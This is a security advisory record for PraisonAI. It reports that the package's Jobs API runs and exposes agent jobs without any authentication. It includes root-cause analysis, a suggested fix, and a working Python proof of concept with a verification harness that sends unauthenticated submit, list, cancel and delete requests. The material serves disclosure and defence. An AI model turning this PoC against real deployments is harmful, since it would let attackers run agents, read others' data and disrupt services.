{"id":"GHSA-fq2m-6wqh-x44g","title":"PraisonAI: Jobs API exposes agent-execution endpoints with no authentication ","summary":"PraisonAI: Jobs API exposes agent-execution endpoints with no authentication ","severity":"critical","cvss":9.8,"cwe":["CWE-94","CWE-306","CWE-862"],"vendor":"praisonai","product":"praisonai","affected":["praisonai < 4.6.59"],"patched":["praisonai 4.6.59"],"published":"2026-06-18","updated":"2026-06-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-fq2m-6wqh-x44g","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fq2m-6wqh-x44g"},{"url":"https://github.com/advisories/GHSA-fq2m-6wqh-x44g"}],"tags":["ghsa","pip"],"ingestedAt":"2026-06-19T03:39:00.852Z","ecosystem":"pip","slug":"GHSA-fq2m-6wqh-x44g","body":"## Overview\n\n# praisonai: Jobs API exposes agent-execution endpoints with no authentication\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research \n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Affected version (empirically tested):** 4.6.48\n**Components:**\n- `praisonai.jobs.server.create_app` — `praisonai/jobs/server.py`\n- `praisonai.jobs.router.create_router` — `praisonai/jobs/router.py`\n- Routes mounted at `/api/v1/runs/...`\n**Weakness:** CWE-306 Missing Authentication for Critical Function · CWE-862 Missing Authorization · CWE-94 Code Injection (via prompt / agent_yaml). \n\n---\n\n## TL;DR\n\n`praisonai` ships a standalone async-jobs HTTP server (`python -m praisonai.jobs.server --host=0.0.0.0 --port=8005`) whose job is to accept job submissions and run agents on the operator's behalf. Every endpoint under `/api/v1/runs` is **unauthenticated**. There is no `auth_token` field, no `Depends(verify_*)`, no middleware that inspects `Authorization` — the CORS middleware *lists* `Authorization` in `allow_headers` (the only signal in the whole module that the developer was aware authentication is a thing), but no route ever reads it.\n\nA network-reachable attacker can:\n\n1. **Execute arbitrary agent code** — `POST /api/v1/runs` accepts `prompt`, `agent_yaml`, `agent_file`, `config`, `framework`. The job is queued and an executor invokes whichever framework (`praisonai` / `crewai` / `autogen`) the attacker picks, with whichever prompt and tool config the attacker supplies. The job runs in the operator's process — same environment variables, same filesystem, same credentials (OpenAI / Anthropic / Azure / Bedrock keys; tool integrations; on-disk YAML recipes).\n2. **List and read every job system-wide** — `GET /api/v1/runs` lists all jobs; `GET /api/v1/runs/{job_id}/result` returns the full result of any completed job. Operator's prompts, the agent's chain-of-thought, tool inputs / outputs, retrieved documents — all readable to an anonymous client.\n3. **Cancel or delete any job** — `POST /…/cancel` and `DELETE /…/{job_id}` accept arbitrary job IDs without any ownership / authorization check.\n4. **Stream live SSE of any in-flight job** — `GET /…/{job_id}/stream` reads the executor's live progress for any job ID.\n\nThe remote-RCE shape (1) is the load-bearing one. Even with `webhook_url` SSRF-guarded (and it is — the model validator at `jobs/models.py:42-65` rejects localhost / private IPs), the attacker needs no callback: SSE streaming returns the agent's output directly on the same connection.\n\n## Root cause\n\n```\n   Expected behavior when starting `praisonai.jobs.server`:\n     \"I'm running an HTTP API my application backend will call.\n      The CORS middleware permits Authorization, so the server\n      enforces it.  Anonymous attackers cannot submit jobs.\"\n\n   Actual behavior (praisonai 4.6.48):\n     - server.py:59-152  create_app builds a FastAPI app, adds\n                         CORSMiddleware, includes the jobs router.\n                         NO auth middleware.  NO global Depends.\n     - router.py:43      @router.post(\"\") submit_job(...)\n                         No Depends, no Authorization header read,\n                         no auth_token config field at all.\n     - router.py:109,148,161,180,205,224  every other route:\n                         likewise, no auth on any of GET-list,\n                         GET-status, GET-result, POST-cancel,\n                         DELETE, GET-stream.\n     - server.py:117     CORS allow_headers DOES include\n                         \"Authorization\" — the only token in the\n                         entire jobs/ subpackage that suggests\n                         the developer was thinking about auth.\n\n   Impact:\n     The API is intended to be production-ready (the CORS code at\n     server.py:96-102 explicitly branches on\n     `os.getenv(\"ENVIRONMENT\") == \"production\"` to harden origins),\n     yet ships with no authentication layer at all.  Operators who\n     bind the server to a network interface — including the\n     suggested `--host=0.0.0.0` in the CLI parser — expose\n     unauthenticated agent execution to anyone who can reach the\n     port.\n```\n\nThe same package gets auth right elsewhere (`praisonai/gateway/server.py` auto-generates an `auth_token` if none is configured and refuses to serve requests without it; `praisonai/endpoints/a2u_server.py:250-264` uses `hmac.compare_digest` on a Bearer token). The jobs API is the outlier.\n\n## Empirically affected routes\n\nVerified by PoC against published `praisonai==4.6.48` (`/api/v1/runs/...` paths):\n\n| Method   | Path                          | Unauth result            |\n|----------|-------------------------------|--------------------------|\n| `POST`   | `/api/v1/runs`                | **HTTP 202 Accepted**, attacker job queued and executor invoked the framework |\n| `GET`    | `/api/v1/runs`                | **HTTP 200**, lists every job in the store |\n| `GET`    | `/api/v1/runs/{job_id}`       | **HTTP 200**, returns status of any job |\n| `GET`    | `/api/v1/runs/{job_id}/result`| (untested; same router, no auth)         |\n| `POST`   | `/api/v1/runs/{job_id}/cancel`| **HTTP 200 / 409** (processed)           |\n| `DELETE` | `/api/v1/runs/{job_id}`       | **HTTP 204 No Content** (deleted)         |\n| `GET`    | `/api/v1/runs/{job_id}/stream`| (untested; SSE; same router, no auth)    |\n\nPoC run log excerpt (`poc/run-log.txt`):\n\n```\n[1] POST /api/v1/runs (no Authorization) -> HTTP 202\n    body: {\"job_id\":\"run_90f21c98b82a\",\"status\":\"queued\",...}\n[01:15:44] executor.py:201 ERROR Job failed: run_90f21c98b82a -\n    OPENAI_API_KEY environment variable is required ...\n```\n\nThe executor's error confirms the prompt reached the framework's LLM-invocation step. Had the operator set `OPENAI_API_KEY`, the attacker prompt would have executed.\n\n## Impact details\n\n### 1. Remote code execution via agent invocation\n\n`JobSubmitRequest.framework` accepts `\"praisonai\"`, `\"crewai\"`, or `\"autogen\"`. Each framework can be configured (via the YAML / config the attacker sends) to use arbitrary tools. praisonai's tool loaders (`praisonai/agents_generator.py` `load_tools_from_module*`) have a documented history of arbitrary-import (CVE-2026-40287 and its fix-of-fix CVE-2026-44334). In practice the operator's installation may or may not expose these sinks; either way the attacker controls the prompt, which the LLM will execute with whatever tools the operator wired (including shell, filesystem, browser, …).\n\nThe job executor runs in-process under the operator's service account, with full access to environment variables (LLM API keys, tool tokens) and to anything `praisonai`'s tools normally touch.\n\n### 2. Cross-tenant data read\n\nA single-process deployment uses an `InMemoryJobStore` that is flat — no `user_id` / `tenant_id` / `workspace_id` partition. Any client that knows or guesses a job ID can read it. Worse, the list endpoint (`GET /api/v1/runs`) returns every job, so guessing isn't even necessary.\n\nSensitive content in the result includes the attacker's input (harmless) but also any *legitimate* user's input that the operator's backend submitted — and the agent's full output, which may contain data the agent retrieved from the operator's databases or APIs.\n\n### 3. Denial of service via job deletion / cancellation\n\n`DELETE` and `cancel` accept any job ID. An attacker who polls the list endpoint can enumerate IDs and cancel-then-delete every job in flight, breaking the operator's backend's polling-for-completion flow.\n\n### 4. webhook_url SSRF — defended\n\nTo the developer's credit, `JobSubmitRequest.webhook_url` is validated against localhost / private / link-local / multicast IPs at submission time (`jobs/models.py:42-65`). This blocks the naive \"submit a job whose webhook posts to AWS IMDS\" attack. **Honest yield:** this is properly guarded.\n\n## Anchors\n\npraisonai 4.6.48, source file `praisonai/jobs/server.py` (sha256 `10b5deab96686f276b8ad71fa4712e1e3d301e4c356812d5d0d595b2b9503ef3`):\n\n| Line  | Symbol                                                  | What it shows |\n|-------|---------------------------------------------------------|---------------|\n| 59-152 | `def create_app(cors_origins, store, executor) -> FastAPI:` | Only middleware added is CORS; auth middleware absent. |\n| 117   | `allow_headers=[\"Authorization\", \"Content-Type\", \"Origin\", \"Accept\", \"Idempotency-Key\"]` | CORS hints that the operator should send Authorization — sole indicator the developer considered auth. |\n| 124   | `jobs_router = create_router(get_store, get_executor)` | Router included without `dependencies=[…]`. |\n| 178   | `\"praisonai.jobs.server:create_app\"` (passed to `uvicorn.run`) | Production-ready binding via the CLI / `start_server`. |\n\npraisonai 4.6.48, source file `praisonai/jobs/router.py` (sha256 `869564d523c14624afefb211a2e7c6bf8a27b3356bd19a58927fcb5e1ebb014c`):\n\n| Line  | Symbol                                                              | What it shows |\n|-------|---------------------------------------------------------------------|---------------|\n| 30-31 | `def create_router(store, executor) -> APIRouter:`                  | Sole entry point; no `dependencies=[Depends(...)]`. |\n| 43    | `@router.post(\"\", response_model=JobSubmitResponse, status_code=202)` | submit_job — no auth. |\n| 109   | `@router.get(\"\", response_model=JobListResponse)`                   | list_jobs — no auth. |\n| 148   | `@router.get(\"/{job_id}\", response_model=JobStatusResponse)`        | get_job_status — no auth. |\n| 161   | `@router.get(\"/{job_id}/result\", response_model=JobResultResponse)` | get_job_result — no auth. |\n| 180   | `@router.post(\"/{job_id}/cancel\", response_model=JobStatusResponse)`| cancel_job — no auth. |\n| 205   | `@router.delete(\"/{job_id}\", status_code=204)`                       | delete_job — no auth. |\n| 224   | `@router.get(\"/{job_id}/stream\")`                                    | stream_job (SSE) — no auth. |\n\n## Suggested fix\n\nAdd a single FastAPI dependency that reads an `Authorization: Bearer <token>` header and `hmac.compare_digest`s it against an operator-configured secret. Apply it as a global router dependency:\n\n```python\n# praisonai/jobs/auth.py\nimport hmac, os\nfrom fastapi import HTTPException, Header\n\n_TOKEN = os.environ.get(\"PRAISONAI_JOBS_AUTH_TOKEN\")\n\nasync def require_auth(authorization: str | None = Header(None)):\n    if not _TOKEN:\n        raise HTTPException(503, \"PRAISONAI_JOBS_AUTH_TOKEN not configured\")\n    if not authorization or not authorization.startswith(\"Bearer \"):\n        raise HTTPException(401, \"Bearer auth required\")\n    presented = authorization[len(\"Bearer \"):]\n    if not hmac.compare_digest(presented, _TOKEN):\n        raise HTTPException(401, \"invalid token\")\n\n# praisonai/jobs/router.py\ndef create_router(store, executor) -> APIRouter:\n    router = APIRouter(prefix=\"/api/v1/runs\", tags=[\"jobs\"],\n                       dependencies=[Depends(require_auth)])  # <-- single line\n    ...\n```\n\nA startup-time refusal in `create_app` would round it out:\n\n```python\n# praisonai/jobs/server.py:create_app\nif not os.environ.get(\"PRAISONAI_JOBS_AUTH_TOKEN\"):\n    raise RuntimeError(\n        \"PRAISONAI_JOBS_AUTH_TOKEN is required; the jobs API \"\n        \"executes attacker-controllable agent code and must not \"\n        \"run without authentication.\"\n    )\n```\n\nThe pattern is already present in the sibling `praisonai/gateway/server.py` (which auto-generates a random token if none is supplied) — that approach plus a logged warning about the new token would minimize operator friction.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai Jobs API has zero authentication on agent-execution endpoints.\n\n`praisonai.jobs.server.create_app` builds a FastAPI app and includes\n`praisonai.jobs.router.create_router`, which registers POST/GET/DELETE\nendpoints under `/api/v1/runs/...` — every one of them executes (or\ninspects, cancels, deletes) arbitrary agent jobs.  No route reads any\nAuthorization header; no middleware enforces any auth check.\n\nThis PoC starts the jobs API server in-process via uvicorn, then sends\nunauthenticated requests to each route and reports the outcome.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport threading\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\n\nimport uvicorn\nfrom praisonai.jobs.server import create_app\n\nPORT = 18005\n\ndef http_request(method, path, body=None, headers=None, timeout=5):\n    url = f\"http://127.0.0.1:{PORT}{path}\"\n    data = None\n    if body is not None:\n        data = json.dumps(body).encode(\"utf-8\")\n    req = Request(url, data=data, method=method, headers=headers or {})\n    if data is not None:\n        req.add_header(\"Content-Type\", \"application/json\")\n    try:\n        with urlopen(req, timeout=timeout) as resp:\n            return resp.status, dict(resp.headers), resp.read().decode(\"utf-8\", errors=\"replace\")\n    except HTTPError as e:\n        return e.code, dict(e.headers), e.read().decode(\"utf-8\", errors=\"replace\")\n    except URLError as e:\n        return None, {}, f\"URLError: {e}\"\n\ndef run_server(app):\n    config = uvicorn.Config(app, host=\"127.0.0.1\", port=PORT, log_level=\"warning\")\n    server = uvicorn.Server(config)\n    import asyncio\n    loop = asyncio.new_event_loop()\n    asyncio.set_event_loop(loop)\n    loop.run_until_complete(server.serve())\n\ndef main() -> int:\n    print(\"=\" * 70)\n    print(\"praisonai version: 4.6.48\")\n    print(\"Test: spin up praisonai.jobs.server in-process, send\")\n    print(\"      UNAUTHENTICATED requests to every /api/v1/runs route.\")\n    print(\"=\" * 70)\n\n    app = create_app()\n    t = threading.Thread(target=run_server, args=(app,), daemon=True)\n    t.start()\n    time.sleep(1.5)\n\n    findings = []\n\n    # 1. POST /api/v1/runs — submit a new job WITHOUT auth.\n    payload = {\n        \"prompt\": \"ATTACKER-CONTROLLED PROMPT — would invoke an agent\",\n        \"framework\": \"praisonai\",\n        \"config\": {\"_attacker_says\": \"no auth required\"},\n        \"timeout\": 5,\n    }\n    code, hdrs, body = http_request(\"POST\", \"/api/v1/runs\", body=payload)\n    print(f\"\\n[1] POST /api/v1/runs (no Authorization) -> HTTP {code}\")\n    print(f\"    body: {body[:300]}\")\n    job_id = None\n    if code == 202:\n        try:\n            job_id = json.loads(body).get(\"job_id\")\n            findings.append(f\"POST /api/v1/runs: 202 Accepted, job_id={job_id!r}\")\n        except Exception:\n            pass\n\n    # 2. GET /api/v1/runs — list ALL jobs system-wide.\n    code, _, body = http_request(\"GET\", \"/api/v1/runs?page=1&page_size=20\")\n    print(f\"\\n[2] GET /api/v1/runs (no Authorization) -> HTTP {code}\")\n    if code == 200:\n        findings.append(\"GET /api/v1/runs: unauthenticated list of ALL jobs\")\n\n    if job_id:\n        code, _, body = http_request(\"GET\", f\"/api/v1/runs/{job_id}\")\n        print(f\"\\n[3] GET /api/v1/runs/{{job_id}} -> HTTP {code}\")\n        code, _, body = http_request(\"POST\", f\"/api/v1/runs/{job_id}/cancel\")\n        print(f\"\\n[4] POST /api/v1/runs/{{job_id}}/cancel -> HTTP {code}\")\n        code, _, body = http_request(\"DELETE\", f\"/api/v1/runs/{job_id}\")\n        print(f\"\\n[5] DELETE /api/v1/runs/{{job_id}} -> HTTP {code}\")\n\n    print(\"\\n\" + \"=\" * 70)\n    if any('POST /api/v1/runs:' in f for f in findings):\n        print(f\"VULNERABLE: {len(findings)} unauthenticated routes confirmed\")\n        for f in findings:\n            print(f\"  - {f}\")\n        print(\"VERDICT: VULNERABLE\")\n        return 0\n    print(\"DEFENDED\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.jobs\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nimport praisonai.jobs.server as S          # REAL jobs server\napp = S.create_app()                      # REAL FastAPI app\nfrom starlette.testclient import TestClient\nclient = TestClient(app)\nP=\"/api/v1/runs\"\ntests=[(\"GET  list\",   lambda: client.get(P)),\n       (\"POST submit\", lambda: client.post(P, json={\"agents_config\":{\"a\":\"x\"},\"input\":\"hi\"})),\n       (\"GET  status\", lambda: client.get(P+\"/nope\")),\n       (\"GET  result\", lambda: client.get(P+\"/nope/result\")),\n       (\"POST cancel\", lambda: client.post(P+\"/nope/cancel\")),\n       (\"DEL  delete\", lambda: client.delete(P+\"/nope\"))]\ncodes=[]\nfor name,fn in tests:\n    c=fn().status_code; codes.append(c); print(f\"[+] (no auth) {name:12s} {P} -> HTTP {c}\")\nassert all(c not in (401,403) for c in codes), codes\nassert codes[0]==200    # list works unauthenticated\nprint(\"[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[+] (no auth) GET  list    /api/v1/runs -> HTTP 200\n[+] (no auth) POST submit  /api/v1/runs -> HTTP 422\n[+] (no auth) GET  status  /api/v1/runs -> HTTP 404\n[+] (no auth) GET  result  /api/v1/runs -> HTTP 404\n[+] (no auth) POST cancel  /api/v1/runs -> HTTP 404\n[+] (no auth) DEL  delete  /api/v1/runs -> HTTP 404\n[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.\n\n## Affected packages\n\n- `praisonai < 4.6.59`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.59`","depth":"midnight","depthScore":54,"depthScoreParts":{"impact":53.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}